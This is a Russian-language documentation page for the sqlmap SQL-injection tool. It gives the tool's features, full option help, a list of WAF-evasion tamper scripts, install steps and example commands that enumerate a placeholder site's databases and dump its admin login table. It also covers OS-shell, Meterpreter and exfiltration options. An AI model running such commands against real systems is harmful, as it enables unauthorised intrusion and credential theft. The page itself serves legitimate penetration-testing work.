sqlmap
Описание sqlmap
sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для конечного тестера на проникновение, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.
Особенности
- Полная поддержка для таких систем управления базами данных как MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
- Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и внеполосная (out-of-band).
- Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
- Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
- Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
- Поддержка сдампливания записей таблиц БД, диапазона записей или указанных колонок по пользовательскому выбору.
- Пользователь также может выбрать сдампливать только диапазон символов из каждой записи колонки.
- Поддержка поиска указанных имён БД, указанных таблиц по всем БД или указанным колонкам по всем таблицам БД. Это полезно, например, для идентификации таблиц, содержащих пользовательские учётные данные приложений, где колонки с соответствующими именами колонок содержат такие строки как имя и пароль.
- Поддержка загрузки и выгрузки любого файла из файловой системы с сервера БД, когда ПО БД MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка выполнения произвольных команд на ОС сервера БД и получение их стандартного вывода когда ПО MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка установления внедиапазонного TCP подключения между атакующей машиной и лежащей в основе сервера базы данных операционной системой. Этот канал по выбору пользователя может быть интерактивным приглашением командной строки, сессией Meterpreter или сессией графического пользовательского интерфейса (VNC).
- Поддержка повышения пользовательских привилегий процесса базы данных через команду Metasploit'а - Meterpreter getsystem.
Домашняя страница: http://sqlmap.org/
Автор: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar
Лицензия: GPLv2
Справка по sqlmap
Использование:
python sqlmap [опции]
Опции:
-h, --help Показать базовую справку и выйте -hh Показать продвинутую справку и выйти --version Показать номер версии программы и выйти -v VERBOSE Уровень вербальности: 0-6 (по умолчанию 1) Цель: По крайней мере одна из этих опций должна быть указана, чтобы задать цель(и) -u URL, --url=URL Целевой URL (например, "http://www.site.com/vuln.php?id=1") -d DIRECT Строка подключения для прямого соединения с базой данных -l LOGFILE Парсить цель(и) из файлов логов Burp или WebScarab -m BULKFILE Сканировать множество целей, заданных в текстовом файле -r REQUESTFILE Загрузить HTTP запросы из файла -g GOOGLEDORK Обработать результаты дорков Google как целевых URL -c CONFIGFILE Загрузить опции из конфигурационного файла INI Запросы: Эти опции могут использоваться для определения как подключиться к целевому URL -A AGENT, --user-agent=AGENT Использование значение заголовка User-Agent -H HEADER, --hea.. Дополнительный заголовок (например, "X-Forwarded-For: 127.0.0.1") --method=МЕТОД Принудительно использовать заданный HTTP метод (например, PUT) --data=ДАННЫЕ Строка данных для отправки через POST --param-del=РАЗД_ПАР Символ, используемый для разделения величин параметров --cookie=КУКИ Значение заголовка HTTP куки --cookie-del=РАЗДЕЛИТЕЛЬ_КУКИ Символ, используемый для разделения величин куки --live-cookies=L.. Файл меняющихся кукиз, используется для загрузки актуальных значений --load-cookies=ФАЙЛ_ДЛЯ_ЗАГРУЗКИ Файл, содержащий куки в формате Netscape/wget --drop-set-cookie Игнорировать заголовок Set-Cookie из ответа --mobile С помощью HTTP заголовка User-Agent имитировать смартфон --random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent --host=ХОСТ Значение заголовка хоста HTTP --referer=РЕФЕРЕР Значение заголовка HTTP Referer --headers=ЗАГОЛОВКИ Дополнительные заголовки (к примеру, "Accept-Language: fr\nETag: 123") --auth-type=ТИП_АУТ HTTP тип аутентификации (Basic, Digest, NTLM или PKI) --auth-cred=ДАННЫЕ_АУТ Учётные данные HTTP аутентификации (имя:пароль) --auth-file=ФАЙЛ_АУТ файл HTTP аутентификации PEM сертификат/частный ключ --ignore-401 Игнорировать ошибку HTTP 401 (Unauthorized) (Неавторизован) --ignore-proxy Игнорировать дефолтные системные настройки прокси --ignore-redirects Игнорировать попытки редиректа --ignore-timeouts Игнорировать таймауты соединений --proxy=ПРОКСИ Использовать прокси для подключения к целевому URL --proxy-cred=УЧЁТКА_ПРОКСИ Учётные данные аутентификации прокси (имя:пароль) --proxy-file=ФАЙЛ_ПРОКСИ Загрузить список прокси из файла --proxy-freq=PRO.. Запросы между сменой прокси из заданного списка --tor Использовать анонимную сеть Tor --tor-port=TORPORT Установить порт прокси Tor отличный от дефолтного --tor-type=TORTYPE Установить тип прокси Tor (HTTP (по умолчанию), SOCKS4 или SOCKS5) --check-tor Проверить, используется ли Tor должным образом --delay=ЗАДЕРЖКА Задержка в секундах между каждым HTTP запросом --timeout=ТАЙМАУТ Секунды для ожидания перед таймаутом соединения (по умолчанию 30) --retries=ПОПЫТКИ Попытки при таймаутах соединения (по умолчанию 3) --randomize=ПАРАМЕТРЫ Случайно менять значения данного параметра(ов) --safe-url=БЕЗОПАСНЫЙ_EURL URL адрес для частого посещения во время тестирования --safe-post=POST Данные POST для отправки на безопасный URL --safe-req=БЕЗОПАСНЫЙ_ФАЙЛ Load safe HTTP request from a file --safe-freq=КОЛИЧЕСТВО Тестовые запросы между двумя визитами на заданный безопасный URL --skip-urlencode Пропустить URL кодирование данных для запросов --csrf-token=CSR.. Параметр используемый для удержания токена anti-CSRF --csrf-url=CSRFURL URL адрес для посещения для извлечения токена anti-CSRF --csrf-method=CS.. Метод HTTP для использования при посещении страницы с токеном анти-CSRF --csrf-retries=C.. Повторные попытки получения токена анти-CSRF (по умолчанию 0) --force-ssl Принудительное использование SSL/HTTPS --chunked Использовать HTTP-запросы с фрагментированной передачей данных (POST) --hpp Использовать метод загрязнения параметра HTTP --eval=EVALCODE Выполнить данный код Python перед запросом (например, "import hashlib;id2=hashlib.md5(id).hexdigest()") Оптимизация: Эти опции могут использовать для оптимизации производительности sqlmap -o Отключить все переключатели оптимизации --predict-output Прогнозировать общий вывод запросов --keep-alive Использовать постоянные соединения HTTP(s) --null-connection Получить длину страницу без фактического тела ответа HTTP --threads=ПОТОКИ Максимальное количество одновременных HTTP(s) запросов (по умолчанию 1) Инъекция: Эти опции могут использоваться для определения, какой параметр тестировать, обеспечивать пользовательскую инъекционную нагрузку и дополнительные скрипты обфускации -p TESTPARAMETER Тестируемый параметр(ы) --skip=SKIP Пропустить тестирования данного параметра(ов) --skip-static Пропустить тестирование параметров, которые не кажутся динамическими --param-exclude=.. Регулярное выражение для исключения параметров из тестирования (например, "ses") --param-filter=P.. Выберите проверяемые параметры по месту (например, "POST") --dbms=DBMS Принудительно указать СУБД --dbms-cred=DBMS.. Данные аутентификации СУБД (пользователь:пароль) --os=OS Принудительно указать операционную систему СУБД --invalid-bignum Использовать большие числа для недействительных значений --invalid-logical Использовать логические операции для недействительных значений --invalid-string Использовать случайные строки для недействительных значений --no-cast Отключить механизм отбора полезной нагрузки --no-escape Отключить механизм экранирования строк --prefix=PREFIX Предваряющая строка инъекционного запроса --suffix=SUFFIX Завершающая строка инъекционного запроса --tamper=TAMPER Использовать данный скрипт(ы) для обфускации инъекционных данных Выявление: Эти опции можно использовать для настройки фазы выявления --level=УРОВЕНЬ Уровень выполнения тестирования (1-5, по умолчанию 1) --risk=РИСК Риск выполняемого тестирования (1-3, по умолчанию 1) --string=СТРОКА Строка, когда запрос выполнен в True (Истина) --not-string=НЕ_ИСТИНА Строка, когда запрос выполнен в False (Ложь) --regexp=РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ Регулярное выражение, когда запрос выполнен в True (Истина) --code=КОД HTTP код, когда запрос выполнен в True (Истина) --smart Выполнять тщательные тесты, только если эвристика положительна. --text-only Сравнить страницы основываясь только на текстовом содержимом --titles Сравнить страницы основываясь только на их заголовках Техники: Эти опции можно использовать для поднастройки тестирования отдельных техник SQL инъекции --technique=ТЕХНИКА Техники SQL инъекций для использования (по умолчанию "BEUSTQ") --time-sec=TIMESEC Секунды для задержки ответа СУБД (по умолчанию 5) --union-cols=UCOLS Диапазон колонок для тестирования с запросами UNION SQL инъекций --union-char=UCHAR Символ для использования при брутфорсинге количества колонок --union-from=UFROM Таблица для использования в FROM части UNION запроса SQL инъекции --dns-domain=ДОМЕН Доменное имя, используемое для эксфильтрационной атаки DNS --second-url=SEC.. URL результирующей страницы ищется для ответа второго порядка --second-req=SEC.. Загрузить HTTP-запрос второго порядка из файла Отпечатки: -f, --fingerprint Выполняет обширную сверку версии СУБД Перечисления: Эти опции могут использоваться для перечисления информации системы управления базами данных, структуры содержащихся в таблицах данных. Более того, вы можете запустить ваши собственные SQL выражения -a, --all Получить всё -b, --banner Получить банер СУБД --current-user Получить текущего пользователя СУБД --current-db Получить текущую базу данных СУБД --hostname Получить имя хоста сервера СУБД --is-dba Определить, является ли текущий пользователь администратором СУБД --users Перечислить пользователей СУБД --passwords Перечислить хеши паролей пользователей СУБД --privileges Перечислить пользовательские привилегии СУБД --roles Перечислить пользовательские роли СУБД --dbs Перечислить базы данных СУБД --tables Перечислить таблицы базы данных СУБД --columns Перечислить колонки таблицы СУБД --schema Перечислить схему СУБД --count Перечислить количество записей для таблицы(таблиц) --dump Сдампить записи таблицы базы данных СУБД --dump-all Сдампить все записи таблиц базы данных СУБД --search Поиск колонки(ок), таблиц(ы) и/или имени(имён) базы данных --comments Получить комментарии СУБД --statements Получить операторы SQL, выполняемые в СУБД -D БД БД СУБД для перечисления -T ТБЛ Таблица(ы) БД СУБД для перечисления -C КОЛ Колонка(и) таблицы БД СУБД для перечисления -X ПРОПУСТИТЬКОЛ Колонка(и) БД СУБД для не перечисления -U ПОЛЬЗОВАТЕЛЬ Пользователи СУБД для перечисления --exclude-sysdbs Пробустить системные БД СУБД при перечислении таблиц --pivot-column=P.. Имя стержневой (Pivot) колонки --where=DUMPWHERE Использовать условие WHERE при дампинге таблиц --start=LIMITSTART Первая выходная запись запроса для получения --stop=LIMITSTOP Последняя выходная запись запроса для получения --first=FIRSTCHAR Первый символ выходного слова запроса для получения --last=LASTCHAR Последний символ выходного слова запроса для получения --sql-query=QUERY SQL выражение для исполнения --sql-shell Приглашение интерактивного SQL шелла --sql-file=SQLFILE Выполнить SQL выражение из данного файла(ов) Брут-форс: Эти опции могут использоваться для записи проверок брут-форсом --common-tables Проверить наличие распространённых таблиц --common-columns Проверить наличие распространённых колонок --common-files Проверить существование распространённых файлов Инъекция заданных пользователем функций: Эти опции могут быть использованы для создания определённых пользователем функций --udf-inject Вставка предопределённых пользователем функций --shared-lib=SHLIB Локальный путь до общей библиотеки Доступ к файловой системе: Эти опции могут быть использованы для доступа к файловой системе СУБД --file-read=RFILE Прочитать файл из файловой системы СУБД --file-write=WFILE Записать локальный файл в файловую систему СУБД --file-dest=DFILE Абсолютный путь для записи файла в СУБД Доступ к оперативной системе: Эти опции могут быть использованы для получения доступа к ОС СУБД --os-cmd=OSCMD Выполнить команду ОС --os-shell Приглашение интерактивного шелла ОС --os-pwn Прриглашение для внеполосного шелла, Meterpreter или VNC --os-smbrelay Однокликовое приглашение для внеполосного шелла, Meterpreter или VNC --os-bof Эксплуатация переполнения буфера хранимой процедуры --priv-esc Повышение пользовательских привилегий процесса БД --msf-path=MSFPATH Локальный путь где установлен Metasploit Framework --tmp-path=TMPPATH Удалённый абсолютный путь директории временных файлов Доступ к регистру Windows: Эти опции могут использоваться к доступу к регистру Windows СУБД --reg-read Прочитать значение ключа регистра Windows --reg-add Записать значение ключа регистра Windows --reg-del Удалить значение ключа регистра Windows --reg-key=REGKEY Ключ регистра Windows --reg-value=REGVAL Значение ключа регистра Windows --reg-data=REGDATA Данные значения ключа регистра Windows --reg-type=REGTYPE Тип значения ключа регистра Windows Общие: Эти опции могут быть использованы для установки общих рабочих параметров -s SESSIONFILE Загрузить сессию из сохранённого файла (.sqlite) -t TRAFFICFILE Записать весь HTTP трафик в текстовый файл --answers=ANSWERS Установить ответ на вопрос (например "quit=N,follow=N") --base64=BASE64P.. Параметры, содержащие данные в кодировке Base64 --base64-safe Использовать безопасный алфавит Base64 для URL и имен файлов (RFC 4648) --batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию --binary-fields=.. Поля результатов имеют двоичные значения (например, "digest") --check-internet Проверьте подключение к Интернету, прежде чем оценивать цель --cleanup Очистить СУБД от специфичных для sqlmap пользовательских функций и таблиц --crawl=CRAWLDEPTH Сканирование веб-сайта, начиная с целевого URL --crawl-exclude=.. Регулярное выражение для исключения страниц из сканирования (например, "выход") --csv-del=CSVDEL Символ-разделитель, используемый в выводе CSV (по умолчанию ",") --charset=CHARSET Принудительная кодировка символов, используемых для получения данных --check-internet Проверить Интернет-соединение перед оценкой цели --crawl=CRAWLDEPTH Ползать по веб-сайту начиная с заданного URL --crawl-exclude=РЕГВЫРАЖЕНИЕ Регулярное выражение для исключения страниц для ползания (например, "logout") --csv-del=CSVDEL Символ разделителя, используемый в выводе CSV (по умолчанию ",") --dump-format=ДАМПФОРМАТ Формат сдампленных данных (CSV (по умолчанию), HTML или SQLITE) --encoding=ENCOD.. Кодировка символов, используемая для получения данных (например, GBK) --eta Отобразить для каждого вывода приблизительное время прибытия --flush-session Стереть сессионные файлы для текущей цели --forms Парсить и тестировать формы на целевой URL --fresh-queries Игнорировать результаты запросов, сохранённые в сессионном файле --gpage=GOOGLEPAGE Использовать результаты дорка Google с указанного номера страницы --har=HARFILE Записывать весь HTTP-трафик в HAR-файл --hex Использовать шестнадцатеричную функцию(ии) СУБД для получения данных --output-dir=OUT.. Пользовательский путь директории вывода --parse-errors Парсить и отображать сообщения ошибок СУБД из ответов --preprocess=PRE.. Использовать данный скрипт(ы) для предварительной обработки (запроса) --postprocess=PO.. Использовать данный скрипт(ы) для постобработки (ответа) --repair Повторно сбросить записи, имеющие отметку неизвестного символа (?) --save=SAVECONFIG Сохранить опции в конфигурационный INI файл --scope=SCOPE Регулярное выражение для фильтрации целей из лога proxy --skip-heuristics Пропустить эвристическое обнаружение уязвимостей SQLi/XSS --skip-waf Пропустить эвристическое обнаружение WAF/IPS защиты --table-prefix=T.. Префикс, используемый для временных таблиц (по умолчанию: «sqlmap») --test-filter=TE.. Выбрать тесты по полезной нагрузке и/или названиям (например, ROW) --test-skip=TEST.. Пропустить тесты по полезной нагрузке и/или названиям (например, BENCHMARK) --web-root=WEBROOT Корневая директория веб-сервера (например, "/var/www") Разное: Опции, которые не попали в другие категории -z MNEMONICS Использовать короткие мнемоники (например, "flu,bat,ban,tec=EU") --alert=ALERT Запустить команду(ы) ОС, когда найдена SQL инъекция --beep Сигнал на вопрос и/или когда найдена SQL инъекция --dependencies Проверить на отсутствующие (неосновные) зависимости sqlmap --disable-coloring Отключить раскрашивание вывода в консоли --list-tampers Вывести список доступных скриптов tamper --offline Работать в оффлайн режиме (использовать только данные сессии) --purge Безопасно удалить всё содержимое из директории вывода --results-file=R.. Расположение файла CSV с результатами в режиме множества целей --sqlmap-shell Запрос интерактивного шелла sqlmap --tmp-dir=TMPDIR Локальная директория для сохранения временных файлов --unstable Настроить опции для нестабильных соединений --update Обновить sqlmap --wizard Простой интерфейс мастера для начинающих пользователей
Руководство по sqlmap
Страница man присутствует, но является устаревшей и не дополняет ничего нового к справке.
Доступные tamper скрипты sqlmap
- 0x2char.py - Заменить каждую (MySQL) 0x<шестнадцатеричную> кодированную строку на эквивалентный CONCAT(CHAR(),…) двойник
- apostrophemask.py - Заменить символ апострофа (') на его UTF-8 full width аналог (то есть ' -> %EF%BC%87)
- apostrophenullencode.py - Заменить символ апострофа (') на его нелегальный double unicode аналог (то есть ' -> %00%27)
- appendnullbyte.py - Appends (Access) NULL byte character (%00) at the end of payload
- base64encode.py - Base64-encodes all characters in a given payload
- between.py - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
- bluecoat.py - Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
- chardoubleencode.py - Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
- charencode.py - URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
- charunicodeencode.py - Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
- charunicodeescape.py - Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
- commalesslimit.py - Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart
- commalessmid.py - Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart
- commentbeforeparentheses.py - Prepends (inline) comment before parentheses (e.g. ( -> /**/()
- concat2concatws.py - Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart
- equaltolike.py - Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
- escapequotes.py - Slash escape single and double quotes (e.g. ' -> \')
- greatest.py - Replaces greater than operator ('>') with 'GREATEST' counterpart
- halfversionedmorekeywords.py - Adds (MySQL) versioned comment before each keyword
- htmlencode.py - HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
- ifnull2casewhenisnull.py - Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart
- ifnull2ifisnull.py - Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart
- informationschemacomment.py - Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
- least.py - Replaces greater than operator ('>') with 'LEAST' counterpart
- lowercase.py - Replaces each keyword character with lower case value (e.g. SELECT -> select)
- luanginx.py - LUA-Nginx WAFs Bypass (e.g. Cloudflare)
- modsecurityversioned.py - Embraces complete query with (MySQL) versioned comment
- modsecurityzeroversioned.py - Embraces complete query with (MySQL) zero-versioned comment
- multiplespaces.py - Adds multiple spaces (' ') around SQL keywords
- overlongutf8.py - Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7)
- overlongutf8more.py - Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
- percentage.py - Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
- plus2concat.py - Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
- plus2fnconcat.py - Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
- randomcase.py - Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
- randomcomments.py - Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
- sp_password.py - Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
- space2comment.py - Replaces space character (' ') with comments '/**/'
- space2dash.py - Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
- space2hash.py - Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
- space2morecomment.py - Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
- space2morehash.py - Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
- space2mssqlblank.py - Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
- space2mssqlhash.py - Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
- space2mysqlblank.py - Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
- space2mysqldash.py - Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
- space2plus.py - Replaces space character (' ') with plus ('+')
- space2randomblank.py - Replaces space character (' ') with a random blank character from a valid set of alternate characters
- symboliclogical.py - Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
- unionalltounion.py - Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
- unmagicquotes.py - Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
- uppercase.py - Replaces each keyword character with upper case value (e.g. select -> SELECT)
- varnish.py - Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall
- versionedkeywords.py - Encloses each non-function keyword with (MySQL) versioned comment
- versionedmorekeywords.py - Encloses each keyword with (MySQL) versioned comment
- xforwardedfor.py - Append a fake HTTP header 'X-Forwarded-For'
Примеры запуска sqlmap
Перечислить базы данных (--dbs) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)
sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs
Построить список таблиц (--tables) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables
Показать колонки (--columns) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns
Вывести дамп (--dump) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump
Вывести содержимое (--dump) колонки login (-C login) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump
Установка sqlmap
Программа предустановлена в Kali Linux.
Установка sqlmap в Linux
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev/ ./sqlmap.py --wizard
Установка sqlmap в Windows
Для запуска sqlmap под Windows, кроме sqlmap, нужен Python.
За sqlmap заходим на официальный сайт, или скачиваем по прямой ссылке zip-файл.
За Python'ом заходим на его официальный сайт в раздел загрузок. Там представлены две ветки 3.* и 2.*. В данном случае (для запуска sqlmap) нам нужна версия 2.*. На момент скачивания доступна Python 2.7.11.
Установка скаченного файла элементарна. Только запомните, в какой каталог вы его установили.
Так, теперь переходим в каталог с установленным Python. У меня это каталог C:\Python27\ (думаю, у вас также, если вы не меняли дефолтные значения).
Запустите командную строку (Win+x и в открывшемся окне выберите «Командная строка»). Теперь хватаете файл python.exe (который лежит в каталоге C:\Python27\) и перетаскиваете его в окно командной строки. В командной строке должен появится полный путь до файла. Дописываете к нему через пробел -v
И нажимаете Enter. Если видите много разной информации, в том числе и о версии, значит всё в порядке. Нажмите Ctrl+c, чтобы выйти.
Запуск sqlmap
Помните наш скаченный архив с sqlmap? Распакуйте его. Теперь в командную строку перетаскиваете файл python.exe, ставите пробел, перетаскиваете в эту же командную строку файл sqlmap.py (из архива с sqlmap) ставите ещё один пробел и пишите -h. У меня получилось так
C:\Python27\python.exe C:\Users\Alex\Downloads\sqlmapproject-sqlmap-6cc092b\sqlmap.py -h
Нажмите Enter:
Если появилась справка по sqlmap, значит всё работает как надо! Можно приступать к анализу сайтов.
Как использовать sqlmap на Windows
В командной строке на Windows sqlmap нужно запускать следующим образом:
путь_до_файла_python.exe путь_до_файла_sqlmap.py -u адрес_проверяемого_сайта --dbs
Например, я хочу проверить сайт http://test4.hackware.biz/bad.php?t=2796
В этом случае полная команда будет
C:\Python27\python.exe C:\Users\Alex\Downloads\sqlmapproject-sqlmap-6cc092b\sqlmap.py -u http://test4.hackware.ru/bad.php?t=2796 --dbs
Скриншоты sqlmap
Инструкции по sqlmap
- Инструкция по использованию sqlmap. Ч.1: Основы работы (GET)
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД
- Анонимные сканирования с Nmap, sqlmap и WPScan через Tor
- Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции
- Как использовать User Agent для атак на сайты
Comments are Closed